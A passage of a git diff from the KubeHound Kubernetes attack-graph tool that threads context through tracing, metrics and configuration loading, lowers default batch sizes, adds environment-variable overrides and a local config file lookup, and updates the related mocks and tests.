EndpointIngestor) error { entity := tag.EntityEndpoints - span, ctx := tracer.StartSpanFromContext(ctx, span.CollectorStream, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.CollectorStream) span.SetTag(tag.EntityTag, tag.EntityEndpoints) var err error defer func() { span.Finish(tracer.WithError(err)) }() @@ -428,14 +482,14 @@ func (c *k8sAPICollector) StreamEndpoints(ctx context.Context, ingestor Endpoint return err } - c.waitTimeByResource(entity, span) + c.waitTimeByResource(ctx, entity, span) return ingestor.Complete(ctx) } func (c *k8sAPICollector) StreamNodes(ctx context.Context, ingestor NodeIngestor) error { entity := tag.EntityNodes - span, ctx := tracer.StartSpanFromContext(ctx, span.CollectorStream, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.CollectorStream) span.SetTag(tag.EntityTag, entity) var err error defer func() { span.Finish(tracer.WithError(err)) }() @@ -453,7 +507,7 @@ func (c *k8sAPICollector) StreamNodes(ctx context.Context, ingestor NodeIngestor c.setPagerConfig(pager) err = pager.EachListItem(ctx, opts, func(obj runtime.Object) error { - _ = statsd.Incr(metric.CollectorCount, c.tags.node, 1) + _ = statsd.Incr(ctx, metric.CollectorCount, c.tags.node, 1) c.wait(ctx, entity, c.tags.node) item, ok := obj.(*corev1.Node) if !ok { @@ -471,14 +525,14 @@ func (c *k8sAPICollector) StreamNodes(ctx context.Context, ingestor NodeIngestor return err } - c.waitTimeByResource(entity, span) + c.waitTimeByResource(ctx, entity, span) return ingestor.Complete(ctx) } func (c *k8sAPICollector) StreamClusterRoles(ctx context.Context, ingestor ClusterRoleIngestor) error { entity := tag.EntityClusterRoles - span, ctx := tracer.StartSpanFromContext(ctx, span.CollectorStream, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.CollectorStream) span.SetTag(tag.EntityTag, entity) var err error defer func() { span.Finish(tracer.WithError(err)) }() @@ -496,7 +550,7 @@ func (c *k8sAPICollector) StreamClusterRoles(ctx context.Context, ingestor Clust c.setPagerConfig(pager) err = pager.EachListItem(ctx, opts, func(obj runtime.Object) error { - _ = statsd.Incr(metric.CollectorCount, c.tags.clusterrole, 1) + _ = statsd.Incr(ctx, metric.CollectorCount, c.tags.clusterrole, 1) c.wait(ctx, entity, c.tags.clusterrole) item, ok := obj.(*rbacv1.ClusterRole) if !ok { @@ -514,14 +568,14 @@ func (c *k8sAPICollector) StreamClusterRoles(ctx context.Context, ingestor Clust return err } - c.waitTimeByResource(entity, span) + c.waitTimeByResource(ctx, entity, span) return ingestor.Complete(ctx) } func (c *k8sAPICollector) StreamClusterRoleBindings(ctx context.Context, ingestor ClusterRoleBindingIngestor) error { entity := tag.EntityClusterRolebindings - span, ctx := tracer.StartSpanFromContext(ctx, span.CollectorStream, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.CollectorStream) span.SetTag(tag.EntityTag, entity) var err error defer func() { span.Finish(tracer.WithError(err)) }() @@ -539,7 +593,7 @@ func (c *k8sAPICollector) StreamClusterRoleBindings(ctx context.Context, ingesto c.setPagerConfig(pager) err = pager.EachListItem(ctx, opts, func(obj runtime.Object) error { - _ = statsd.Incr(metric.CollectorCount, c.tags.clusterrolebinding, 1) + _ = statsd.Incr(ctx, metric.CollectorCount, c.tags.clusterrolebinding, 1) c.wait(ctx, entity, c.tags.clusterrolebinding) item, ok := obj.(*rbacv1.ClusterRoleBinding) if !ok { @@ -557,7 +611,7 @@ func (c *k8sAPICollector) StreamClusterRoleBindings(ctx context.Context, ingesto return err } - c.waitTimeByResource(entity, span) + c.waitTimeByResource(ctx, entity, span) return ingestor.Complete(ctx) } diff --git a/pkg/collector/k8s_api_faker.go b/pkg/collector/k8s_api_faker.go index a2f6f29bd..7e3a7252d 100644 --- a/pkg/collector/k8s_api_faker.go +++ b/pkg/collector/k8s_api_faker.go @@ -6,7 +6,6 @@ import ( "time" "github.com/DataDog/KubeHound/pkg/config" - "github.com/DataDog/KubeHound/pkg/telemetry/log" "go.uber.org/ratelimit" corev1 "k8s.io/api/core/v1" discoveryv1 "k8s.io/api/discovery/v1" @@ -154,9 +153,9 @@ func NewTestK8sAPICollector(ctx context.Context, clientset *fake.Clientset) Coll return &k8sAPICollector{ cfg: cfg, clientset: clientset, - log: log.Trace(ctx, log.WithComponent(K8sAPICollectorName)), - rl: ratelimit.New(config.DefaultK8sAPIRateLimitPerSecond), // per second - waitTime: map[string]time.Duration{}, - mu: &sync.Mutex{}, + // log: log.Trace(ctx, log.WithComponent(K8sAPICollectorName)), + rl: ratelimit.New(config.DefaultK8sAPIRateLimitPerSecond), // per second + waitTime: map[string]time.Duration{}, + mu: &sync.Mutex{}, } } diff --git a/pkg/collector/k8s_api_test.go b/pkg/collector/k8s_api_test.go index e1bed9463..3c44d6a61 100644 --- a/pkg/collector/k8s_api_test.go +++ b/pkg/collector/k8s_api_test.go @@ -78,11 +78,10 @@ func TestNewK8sAPICollectorConfig(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() v := viper.New() - cfg, err := config.NewConfig(v, tt.args.path) + cfg, err := config.NewConfig(context.TODO(), v, tt.args.path) assert.NoError(t, err) err = checkK8sAPICollectorConfig(cfg.Collector.Type) if (err != nil) != tt.wantErr { @@ -157,7 +156,6 @@ func Test_k8sAPICollector_streamPodsNamespace(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() clientset, mock := tt.testfct(t) @@ -226,7 +224,6 @@ func Test_k8sAPICollector_StreamRoles(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() clientset, mock := tt.testfct(t) @@ -295,7 +292,6 @@ func Test_k8sAPICollector_StreamRoleBindings(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() clientset, mock := tt.testfct(t) @@ -364,7 +360,6 @@ func Test_k8sAPICollector_StreamNodes(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() clientset, mock := tt.testfct(t) @@ -433,7 +428,6 @@ func Test_k8sAPICollector_StreamClusterRoles(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() clientset, mock := tt.testfct(t) @@ -502,7 +496,6 @@ func Test_k8sAPICollector_StreamClusterRoleBindings(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() clientset, mock := tt.testfct(t) @@ -571,7 +564,6 @@ func Test_k8sAPICollector_StreamEndpoints(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() clientset, mock := tt.testfct(t) diff --git a/pkg/collector/mockcollector/collector_client.go b/pkg/collector/mockcollector/collector_client.go index 1ec959e21..8190b48ad 100644 --- a/pkg/collector/mockcollector/collector_client.go +++ b/pkg/collector/mockcollector/collector_client.go @@ -120,6 +120,49 @@ func (_c *CollectorClient_ClusterInfo_Call) RunAndReturn(run func(context.Contex return _c } +// ComputeMetadata provides a mock function with given fields: ctx, ingestor +func (_m *CollectorClient) ComputeMetadata(ctx context.Context, ingestor collector.MetadataIngestor) error { + ret := _m.Called(ctx, ingestor) + + var r0 error + if rf, ok := ret.Get(0).(func(context.Context, collector.MetadataIngestor) error); ok { + r0 = rf(ctx, ingestor) + } else { + r0 = ret.Error(0) + } + + return r0 +} + +// CollectorClient_ComputeMetadata_Call is a *mock.Call that shadows Run/Return methods with type explicit version for method 'ComputeMetadata' +type CollectorClient_ComputeMetadata_Call struct { + *mock.Call +} + +// ComputeMetadata is a helper method to define mock.On call +// - ctx context.Context +// - ingestor collector.MetadataIngestor +func (_e *CollectorClient_Expecter) ComputeMetadata(ctx interface{}, ingestor interface{}) *CollectorClient_ComputeMetadata_Call { + return &CollectorClient_ComputeMetadata_Call{Call: _e.mock.On("ComputeMetadata", ctx, ingestor)} +} + +func (_c *CollectorClient_ComputeMetadata_Call) Run(run func(ctx context.Context, ingestor collector.MetadataIngestor)) *CollectorClient_ComputeMetadata_Call { + _c.Call.Run(func(args mock.Arguments) { + run(args[0].(context.Context), args[1].(collector.MetadataIngestor)) + }) + return _c +} + +func (_c *CollectorClient_ComputeMetadata_Call) Return(_a0 error) *CollectorClient_ComputeMetadata_Call { + _c.Call.Return(_a0) + return _c +} + +func (_c *CollectorClient_ComputeMetadata_Call) RunAndReturn(run func(context.Context, collector.MetadataIngestor) error) *CollectorClient_ComputeMetadata_Call { + _c.Call.Return(run) + return _c +} + // HealthCheck provides a mock function with given fields: ctx func (_m *CollectorClient) HealthCheck(ctx context.Context) (bool, error) { ret := _m.Called(ctx) @@ -514,50 +557,6 @@ func (_c *CollectorClient_StreamRoles_Call) RunAndReturn(run func(context.Contex return _c } -// Tags provides a mock function with given fields: ctx -func (_m *CollectorClient) Tags(ctx context.Context) []string { - ret := _m.Called(ctx) - - var r0 []string - if rf, ok := ret.Get(0).(func(context.Context) []string); ok { - r0 = rf(ctx) - } else { - if ret.Get(0) != nil { - r0 = ret.Get(0).([]string) - } - } - - return r0 -} - -// CollectorClient_Tags_Call is a *mock.Call that shadows Run/Return methods with type explicit version for method 'Tags' -type CollectorClient_Tags_Call struct { - *mock.Call -} - -// Tags is a helper method to define mock.On call -// - ctx context.Context -func (_e *CollectorClient_Expecter) Tags(ctx interface{}) *CollectorClient_Tags_Call { - return &CollectorClient_Tags_Call{Call: _e.mock.On("Tags", ctx)} -} - -func (_c *CollectorClient_Tags_Call) Run(run func(ctx context.Context)) *CollectorClient_Tags_Call { - _c.Call.Run(func(args mock.Arguments) { - run(args[0].(context.Context)) - }) - return _c -} - -func (_c *CollectorClient_Tags_Call) Return(_a0 []string) *CollectorClient_Tags_Call { - _c.Call.Return(_a0) - return _c -} - -func (_c *CollectorClient_Tags_Call) RunAndReturn(run func(context.Context) []string) *CollectorClient_Tags_Call { - _c.Call.Return(run) - return _c -} - type mockConstructorTestingTNewCollectorClient interface { mock.TestingT Cleanup(func()) diff --git a/pkg/collector/testdata/kubehound-test.yaml b/pkg/collector/testdata/kubehound-test.yaml index 9de84d9bb..6a5af916b 100644 --- a/pkg/collector/testdata/kubehound-test.yaml +++ b/pkg/collector/testdata/kubehound-test.yaml @@ -2,4 +2,5 @@ collector: type: file-collector file: directory: testdata/test-cluster/ - cluster_name: test-cluster \ No newline at end of file +dynamic: + cluster_name: test-cluster diff --git a/pkg/config/builder.go b/pkg/config/builder.go index 8e5ae8018..a00f9b10b 100644 --- a/pkg/config/builder.go +++ b/pkg/config/builder.go @@ -3,14 +3,16 @@ package config const ( DefaultEdgeWorkerPoolSize = 5 DefaultEdgeWorkerPoolCapacity = 100 - DefaultEdgeBatchSize = 500 + DefaultEdgeBatchSize = 250 DefaultEdgeBatchSizeSmall = DefaultEdgeBatchSize / 5 DefaultEdgeBatchSizeClusterImpact = 10 - DefaultVertexBatchSize = 500 + DefaultVertexBatchSize = 250 DefaultVertexBatchSizeSmall = DefaultVertexBatchSize / 5 DefaultStopOnError = false + + DefaultLargeClusterOptimizations = true ) // VertexBuilderConfig configures vertex builder parameters. diff --git a/pkg/config/collector.go b/pkg/config/collector.go index 72fabcb85..f39c5153e 100644 --- a/pkg/config/collector.go +++ b/pkg/config/collector.go @@ -9,22 +9,23 @@ const ( DefaultK8sAPIPageSize int64 = 500 DefaultK8sAPIPageBufferSize int32 = 10 DefaultK8sAPIRateLimitPerSecond int = 100 - - CollectorLiveRate = "collector.live.rate_limit_per_second" - CollectorLivePageSize = "collector.live.page_size" - CollectorLivePageBufferSize = "collector.live.page_buffer_size" - CollectorFileArchiveFormat = "collector.file.archive.format" - CollectorFileDirectory = "collector.file.directory" - CollectorFileClusterName = "collector.file.cluster_name" - CollectorFileBlobRegion = "collector.file.blob.region" - CollectorFileBlobBucket = "collector.file.blob.bucket" + DefaultK8sAPINonInteractive bool = false + DefaultArchiveNoCompress bool = false + + CollectorLiveRate = "collector.live.rate_limit_per_second" + CollectorLivePageSize = "collector.live.page_size" + CollectorLivePageBufferSize = "collector.live.page_buffer_size" + CollectorNonInteractive = "collector.non_interactive" + CollectorFileArchiveNoCompress = "collector.file.archive.no_compress" + CollectorFileDirectory = "collector.file.directory" ) // CollectorConfig configures collector specific parameters. type CollectorConfig struct { - Type string `mapstructure:"type"` // Collector type - File *FileCollectorConfig `mapstructure:"file"` // File collector specific configuration - Live *K8SAPICollectorConfig `mapstructure:"live"` // File collector specific configuration + Type string `mapstructure:"type"` // Collector type + File *FileCollectorConfig `mapstructure:"file"` // File collector specific configuration + Live *K8SAPICollectorConfig `mapstructure:"live"` // File collector specific configuration + NonInteractive bool `mapstructure:"non_interactive"` // Skip confirmation } // K8SAPICollectorConfig configures the K8sAPI collector. @@ -36,18 +37,11 @@ type K8SAPICollectorConfig struct { // FileCollectorConfig configures the file collector. type FileCollectorConfig struct { - ClusterName string `mapstructure:"cluster_name"` // Target cluster (must be specified in config as not present in JSON files) - Directory string `mapstructure:"directory"` // Base directory holding the K8s data JSON files - Archive *FileArchiveConfig `mapstructure:"archive"` // Archive configuration - Blob *BlobConfig `mapstructure:"blob"` // Blob storage configuration + Directory string `mapstructure:"directory"` // Base directory holding the K8s data JSON files + Archive *FileArchiveConfig `mapstructure:"archive"` // Archive configuration } type FileArchiveConfig struct { ArchiveName string `mapstructure:"archive_name"` // Name of the output archive - Format bool `mapstructure:"format"` // Enable compression for the dumped data (generates a tar.gz file) -} - -type BlobConfig struct { - Bucket string `mapstructure:"bucket"` // Bucket to use to push k8s resources (e.g.: s3://) - Region string `mapstructure:"region"` // Region to use for the bucket (only for s3) + NoCompress bool `mapstructure:"no_compress"` // Disable compression for the dumped data (generates a tar.gz file) } diff --git a/pkg/config/config.go b/pkg/config/config.go index 8921e794a..d00018c11 100644 --- a/pkg/config/config.go +++ b/pkg/config/config.go @@ -2,6 +2,7 @@ package config import ( "bytes" + "context" "fmt" "os" @@ -14,6 +15,7 @@ import ( var ( BuildVersion string // This should be overwritten by the go build -X flags + BuildBranch string // This should be overwritten by the go build -X flags BuildArch string // This should be overwritten by the go build -X flags BuildOs string // This should be overwritten by the go build -X flags ) @@ -21,6 +23,7 @@ var ( const ( DefaultConfigType = "yaml" DefaultClusterName = "unknown" + DefaultConfigName = "kubehound" GlobalDebug = "debug" ) @@ -39,109 +42,145 @@ type KubehoundConfig struct { } // MustLoadEmbedConfig loads the embedded default application configuration, treating all errors as fatal. -func MustLoadEmbedConfig() *KubehoundConfig { - cfg, err := NewEmbedConfig(viper.GetViper(), embedconfig.DefaultPath) +func MustLoadEmbedConfig(ctx context.Context) *KubehoundConfig { + l := log.Logger(ctx) + cfg, err := NewEmbedConfig(ctx, viper.GetViper(), embedconfig.DefaultPath) if err != nil { - log.I.Fatalf("embed config load: %v", err) + l.Fatal("embed config load", log.ErrorField(err)) } return cfg } // MustLoadConfig loads the application configuration from the provided path, treating all errors as fatal. -func MustLoadConfig(configPath string) *KubehoundConfig { - cfg, err := NewConfig(viper.GetViper(), configPath) +func MustLoadConfig(ctx context.Context, configPath string) *KubehoundConfig { + l := log.Logger(ctx) + cfg, err := NewConfig(ctx, viper.GetViper(), configPath) if err != nil { - log.I.Fatalf("config load: %v", err) + l.Fatal("config load", log.ErrorField(err)) } return cfg } // MustLoadConfig loads the application configuration from the provided path, treating all errors as fatal. -func MustLoadInlineConfig() *KubehoundConfig { - cfg, err := NewInlineConfig(viper.GetViper()) +func MustLoadInlineConfig(ctx context.Context) *KubehoundConfig { + l := log.Logger(ctx) + cfg, err := NewInlineConfig(ctx, viper.GetViper()) if err != nil { - log.I.Fatalf("config load: %v", err) + l.Fatal("config load", log.ErrorField(err)) } return cfg } -func NewKubehoundConfig(configPath string, inLine bool) *KubehoundConfig { +func NewKubehoundConfig(ctx context.Context, configPath string, inLine bool) *KubehoundConfig { + l := log.Logger(ctx) // Configuration initialization var cfg *KubehoundConfig switch { case len(configPath) != 0: - log.I.Infof("Loading application configuration from file %s", configPath) - cfg = MustLoadConfig(configPath) + cfg = MustLoadConfig(ctx, configPath) case inLine: - log.I.Info("Loading application from inline command") - cfg = MustLoadInlineConfig() + l.Info("Loading application from inline command") + cfg = MustLoadInlineConfig(ctx) default: - log.I.Infof("Loading application configuration from default embedded") - cfg = MustLoadEmbedConfig() + l.Info("Loading application configuration from default embedded") + cfg = MustLoadEmbedConfig(ctx) } return cfg } // SetDefaultValues loads the default value from the different modules -func SetDefaultValues(c *viper.Viper) { +func SetDefaultValues(ctx context.Context, v *viper.Viper) { // K8s Live collector module - c.SetDefault(CollectorLivePageSize, DefaultK8sAPIPageSize) - c.SetDefault(CollectorLivePageBufferSize, DefaultK8sAPIPageBufferSize) - c.SetDefault(CollectorLiveRate, DefaultK8sAPIRateLimitPerSecond) + v.SetDefault(CollectorLivePageSize, DefaultK8sAPIPageSize) + v.SetDefault(CollectorLivePageBufferSize, DefaultK8sAPIPageBufferSize) + v.SetDefault(CollectorLiveRate, DefaultK8sAPIRateLimitPerSecond) + v.SetDefault(CollectorNonInteractive, DefaultK8sAPINonInteractive) + + // File collector module + v.SetDefault(CollectorFileArchiveNoCompress, DefaultArchiveNoCompress) // Default values for storage provider - c.SetDefault("storage.wipe", true) - c.SetDefault("storage.retry", DefaultRetry) - c.SetDefault("storage.retry_delay", DefaultRetryDelay) + v.SetDefault("storage.wipe", true) + v.SetDefault("storage.retry", DefaultRetry) + v.SetDefault("storage.retry_delay", DefaultRetryDelay) // Disable Datadog telemetry by default - c.SetDefault(TelemetryEnabled, false) + v.SetDefault(TelemetryEnabled, false) // Default value for MongoDB - c.SetDefault("mongodb.url", DefaultMongoUrl) - c.SetDefault("mongodb.connection_timeout", DefaultConnectionTimeout) + v.SetDefault(MongoUrl, DefaultMongoUrl) + v.SetDefault(MongoConnectionTimeout, DefaultConnectionTimeout) // Defaults values for JanusGraph - c.SetDefault("janusgraph.url", DefaultJanusGraphUrl) - c.SetDefault("janusgraph.connection_timeout", DefaultConnectionTimeout) + v.SetDefault(JanusGraphUrl, DefaultJanusGraphUrl) + v.SetDefault(JanusGrapTimeout, DefaultConnectionTimeout) + v.SetDefault(JanusGraphWriterTimeout, defaultJanusGraphWriterTimeout) + v.SetDefault(JanusGraphWriterMaxRetry, defaultJanusGraphWriterMaxRetry) + v.SetDefault(JanusGraphWriterWorkerCount, defaultJanusGraphWriterWorkerCount) // Profiler values - c.SetDefault(TelemetryProfilerPeriod, DefaultProfilerPeriod) - c.SetDefault(TelemetryProfilerCPUDuration, DefaultProfilerCPUDuration) + v.SetDefault(TelemetryProfilerPeriod, DefaultProfilerPeriod) + v.SetDefault(TelemetryProfilerCPUDuration, DefaultProfilerCPUDuration) // Default values for graph builder - c.SetDefault("builder.vertex.batch_size", DefaultVertexBatchSize) - c.SetDefault("builder.vertex.batch_size_small", DefaultVertexBatchSizeSmall) - c.SetDefault("builder.edge.worker_pool_size", DefaultEdgeWorkerPoolSize) - c.SetDefault("builder.edge.worker_pool_capacity", DefaultEdgeWorkerPoolCapacity) - c.SetDefault("builder.edge.batch_size", DefaultEdgeBatchSize) - c.SetDefault("builder.edge.batch_size_small", DefaultEdgeBatchSizeSmall) - c.SetDefault("builder.edge.batch_size_cluster_impact", DefaultEdgeBatchSizeClusterImpact) - c.SetDefault("builder.stop_on_error", DefaultStopOnError) - - c.SetDefault(IngestorAPIEndpoint, DefaultIngestorAPIEndpoint) - c.SetDefault(IngestorAPIInsecure, DefaultIngestorAPIInsecure) - c.SetDefault(IngestorBlobBucketName, DefaultBucketName) - c.SetDefault("ingestor.temp_dir", DefaultTempDir) - c.SetDefault("ingestor.max_archive_size", DefaultMaxArchiveSize) - c.SetDefault("ingestor.archive_name", DefaultArchiveName) + v.SetDefault("builder.vertex.batch_size", DefaultVertexBatchSize) + v.SetDefault("builder.vertex.batch_size_small", DefaultVertexBatchSizeSmall) + v.SetDefault("builder.edge.worker_pool_size", DefaultEdgeWorkerPoolSize) + v.SetDefault("builder.edge.worker_pool_capacity", DefaultEdgeWorkerPoolCapacity) + v.SetDefault("builder.edge.batch_size", DefaultEdgeBatchSize) + v.SetDefault("builder.edge.batch_size_small", DefaultEdgeBatchSizeSmall) + v.SetDefault("builder.edge.batch_size_cluster_impact", DefaultEdgeBatchSizeClusterImpact) + v.SetDefault("builder.stop_on_error", DefaultStopOnError) + v.SetDefault("builder.edge.large_cluster_optimizations", DefaultLargeClusterOptimizations) + + v.SetDefault(IngestorAPIEndpoint, DefaultIngestorAPIEndpoint) + v.SetDefault(IngestorAPIInsecure, DefaultIngestorAPIInsecure) + v.SetDefault(IngestorBlobBucketURL, DefaultBucketName) + v.SetDefault(IngestorTempDir, DefaultTempDir) + v.SetDefault(IngestorMaxArchiveSize, DefaultMaxArchiveSize) + v.SetDefault(IngestorArchiveName, DefaultArchiveName) + + SetLocalConfig(ctx, v) } // SetEnvOverrides enables environment variable overrides for the config. -func SetEnvOverrides(c *viper.Viper) { +func SetEnvOverrides(ctx context.Context, c *viper.Viper) { var res *multierror.Error + l := log.Logger(ctx) // Enable changing file collector fields via environment variables res = multierror.Append(res, c.BindEnv("collector.type", "KH_COLLECTOR")) res = multierror.Append(res, c.BindEnv("collector.file.directory", "KH_COLLECTOR_DIR")) res = multierror.Append(res, c.BindEnv("collector.file.cluster", "KH_COLLECTOR_TARGET")) + res = multierror.Append(res, c.BindEnv(MongoUrl, "KH_MONGODB_URL")) + res = multierror.Append(res, c.BindEnv(JanusGraphUrl, "KH_JANUSGRAPH_URL")) + res = multierror.Append(res, c.BindEnv(JanusGraphWriterMaxRetry, "KH_JANUSGRAPH_WRITER_MAX_RETRY")) + res = multierror.Append(res, c.BindEnv(JanusGraphWriterTimeout, "KH_JANUSGRAPH_WRITER_TIMEOUT")) + res = multierror.Append(res, c.BindEnv(JanusGraphWriterWorkerCount, "KH_JANUSGRAPH_WRITER_WORKER_COUNT")) + + res = multierror.Append(res, c.BindEnv(IngestorAPIEndpoint, "KH_INGESTOR_API_ENDPOINT")) + res = multierror.Append(res, c.BindEnv(IngestorAPIInsecure, "KH_INGESTOR_API_INSECURE")) + res = multierror.Append(res, c.BindEnv(IngestorBlobBucketURL, "KH_INGESTOR_BUCKET_URL")) + res = multierror.Append(res, c.BindEnv(IngestorTempDir, "KH_INGESTOR_TEMP_DIR")) + res = multierror.Append(res, c.BindEnv(IngestorMaxArchiveSize, "KH_INGESTOR_MAX_ARCHIVE_SIZE")) + res = multierror.Append(res, c.BindEnv(IngestorArchiveName, "KH_INGESTOR_ARCHIVE_NAME")) + res = multierror.Append(res, c.BindEnv(IngestorBlobRegion, "KH_INGESTOR_REGION")) + + res = multierror.Append(res, c.BindEnv("builder.vertex.batch_size", "KH_BUILDER_VERTEX_BATCH_SIZE")) + res = multierror.Append(res, c.BindEnv("builder.vertex.batch_size_small", "KH_BUILDER_VERTEX_BATCH_SIZE_SMALL")) + res = multierror.Append(res, c.BindEnv("builder.edge.batch_size", "KH_BUILDER_EDGE_BATCH_SIZE")) + res = multierror.Append(res, c.BindEnv("builder.edge.batch_size_small", "KH_BUILDER_EDGE_BATCH_SIZE_SMALL")) + + res = multierror.Append(res, c.BindEnv(TelemetryStatsdUrl, "STATSD_URL")) + res = multierror.Append(res, c.BindEnv(TelemetryTracerUrl, "TRACE_AGENT_URL")) + if res.ErrorOrNil() != nil { - log.I.Fatalf("config environment override: %v", res.ErrorOrNil()) + l.Fatal("config environment override", log.ErrorField(res.ErrorOrNil())) } } @@ -166,15 +205,18 @@ func unmarshalConfig(v *viper.Viper) (*KubehoundConfig, error) { } // NewConfig creates a new config instance from the provided file using viper. -func NewConfig(v *viper.Viper, configPath string) (*KubehoundConfig, error) { +func NewConfig(ctx context.Context, v *viper.Viper, configPath string) (*KubehoundConfig, error) { + l := log.Logger(ctx) + // Configure default values + SetDefaultValues(ctx, v) + + // Loading inLine config path + l.Info("Loading application configuration from file", log.String("path", configPath)) v.SetConfigType(DefaultConfigType) v.SetConfigFile(configPath) - // Configure default values - SetDefaultValues(v) - // Configure environment variable override - SetEnvOverrides(v) + SetEnvOverrides(ctx, v) if err := v.ReadInConfig(); err != nil { return nil, fmt.Errorf("loading config: %w", err) } @@ -188,9 +230,13 @@ func NewConfig(v *viper.Viper, configPath string) (*KubehoundConfig, error) { } // NewConfig creates a new config instance from the provided file using viper. -func NewInlineConfig(v *viper.Viper) (*KubehoundConfig, error) { +func NewInlineConfig(ctx context.Context, v *viper.Viper) (*KubehoundConfig, error) { + // Load default embedded config file + SetDefaultValues(ctx, v) + // Configure environment variable override - SetEnvOverrides(v) + SetEnvOverrides(ctx, v) + kc, err := unmarshalConfig(v) if err != nil { return nil, fmt.Errorf("unmarshaling config data: %w", err) @@ -199,11 +245,32 @@ func NewInlineConfig(v *viper.Viper) (*KubehoundConfig, error) { return kc, nil } +// Load local config file if it exists, check for local file in current dir or in $HOME/.config/ +// Not returning any error as it is not mandatory to have a local config file +func SetLocalConfig(ctx context.Context, v *viper.Viper) { + l := log.Logger(ctx) + + v.SetConfigName(DefaultConfigName) // name of config file (without extension) + v.SetConfigType(DefaultConfigType) // REQUIRED if the config file does not have the extension in the name + v.AddConfigPath("$HOME/.config/") // call multiple times to add many search paths + v.AddConfigPath(".") // optionally look for config in the working directory + + err := v.ReadInConfig() + if err != nil { + fp := fmt.Sprintf("%s.%s", DefaultConfigName, DefaultConfigType) + l.Warn("No local config file was found", log.String("file", fp)) + l.Debug("Error reading config", log.ErrorField(err), log.String("file", fp)) + } + l.Info("Using file for default config", log.String("path", viper.ConfigFileUsed())) +} + // NewEmbedConfig creates a new config instance from an embedded config file using viper. -func NewEmbedConfig(v *viper.Viper, configPath string) (*KubehoundConfig, error) { +func NewEmbedConfig(ctx context.Context, v *viper.Viper, configPath string) (*KubehoundConfig, error) { v.SetConfigType(DefaultConfigType) - SetDefaultValues(v) + SetDefaultValues(ctx, v) + // Configure environment variable override + SetEnvOverrides(ctx, v) data, err := embedconfig.F.ReadFile(configPath) if err != nil { return nil, fmt.Errorf("reading embed config: %w", err) diff --git a/pkg/config/config_test.go b/pkg/config/config_test.go index b738b689f..6b91dbd8f 100644 --- a/pkg/config/config_test.go +++ b/pkg/config/config_test.go @@ -1,6 +1,7 @@ package config import ( + "context" "testing" "github.com/spf13/viper" @@ -32,8 +33,10 @@ func TestMustLoadConfig(t *testing.T) { Collector: CollectorConfig{ Type: CollectorTypeFile, File: &FileCollectorConfig{ - Directory: "cluster-data/", - ClusterName: "test-cluster", + Directory: "cluster-data/", + Archive: &FileArchiveConfig{ + NoCompress: DefaultArchiveNoCompress, + }, }, // This is always set as the default value Live: &K8SAPICollectorConfig{ @@ -49,6 +52,9 @@ func TestMustLoadConfig(t *testing.T) { JanusGraph: JanusGraphConfig{ URL: "ws://localhost:8182/gremlin", ConnectionTimeout: DefaultConnectionTimeout, + WriterTimeout: defaultJanusGraphWriterTimeout, + WriterMaxRetry: defaultJanusGraphWriterMaxRetry, + WriterWorkerCount: defaultJanusGraphWriterWorkerCount, }, Telemetry: TelemetryConfig{ Statsd: StatsdConfig{ @@ -61,30 +67,33 @@ func TestMustLoadConfig(t *testing.T) { }, Builder: BuilderConfig{ Vertex: VertexBuilderConfig{ - BatchSize: 500, - BatchSizeSmall: 100, + BatchSize: 250, + BatchSizeSmall: 50, }, Edge: EdgeBuilderConfig{ - LargeClusterOptimizations: false, + LargeClusterOptimizations: DefaultLargeClusterOptimizations, WorkerPoolSize: 5, WorkerPoolCapacity: 100, - BatchSize: 500, - BatchSizeSmall: 100, + BatchSize: 250, + BatchSizeSmall: 50, BatchSizeClusterImpact: 10, }, }, Ingestor: IngestorConfig{ API: IngestorAPIConfig{ - Endpoint: "127.0.0.1:9000", + Endpoint: "", Insecure: false, }, Blob: &BlobConfig{ - Bucket: "", - Region: "", + BucketUrl: "", + Region: "", }, TempDir: "/tmp/kubehound", ArchiveName: "archive.tar.gz", - MaxArchiveSize: 1073741824, + MaxArchiveSize: DefaultMaxArchiveSize, + }, + Dynamic: DynamicConfig{ + ClusterName: "test-cluster", }, }, wantErr: false, @@ -102,6 +111,11 @@ func TestMustLoadConfig(t *testing.T) { }, Collector: CollectorConfig{ Type: CollectorTypeK8sAPI, + File: &FileCollectorConfig{ + Archive: &FileArchiveConfig{ + NoCompress: DefaultArchiveNoCompress, + }, + }, Live: &K8SAPICollectorConfig{ PageSize: 500, PageBufferSize: 10, @@ -115,6 +129,9 @@ func TestMustLoadConfig(t *testing.T) { JanusGraph: JanusGraphConfig{ URL: "ws://localhost:8182/gremlin", ConnectionTimeout: DefaultConnectionTimeout, + WriterTimeout: defaultJanusGraphWriterTimeout, + WriterMaxRetry: defaultJanusGraphWriterMaxRetry, + WriterWorkerCount: defaultJanusGraphWriterWorkerCount, }, Telemetry: TelemetryConfig{ Statsd: StatsdConfig{ @@ -128,7 +145,7 @@ func TestMustLoadConfig(t *testing.T) { Builder: BuilderConfig{ Vertex: VertexBuilderConfig{ BatchSize: 1000, - BatchSizeSmall: 100, + BatchSizeSmall: 50, }, Edge: EdgeBuilderConfig{ LargeClusterOptimizations: true, @@ -141,16 +158,16 @@ func TestMustLoadConfig(t *testing.T) { }, Ingestor: IngestorConfig{ API: IngestorAPIConfig{ - Endpoint: "127.0.0.1:9000", + Endpoint: "", Insecure: false, }, Blob: &BlobConfig{ - Bucket: "", - Region: "", + BucketUrl: "", + Region: "", }, TempDir: "/tmp/kubehound", ArchiveName: "archive.tar.gz", - MaxArchiveSize: 1073741824, + MaxArchiveSize: DefaultMaxArchiveSize, }, }, wantErr: false, @@ -166,11 +183,10 @@ func TestMustLoadConfig(t *testing.T) { } for _, tt := range tests { - tt 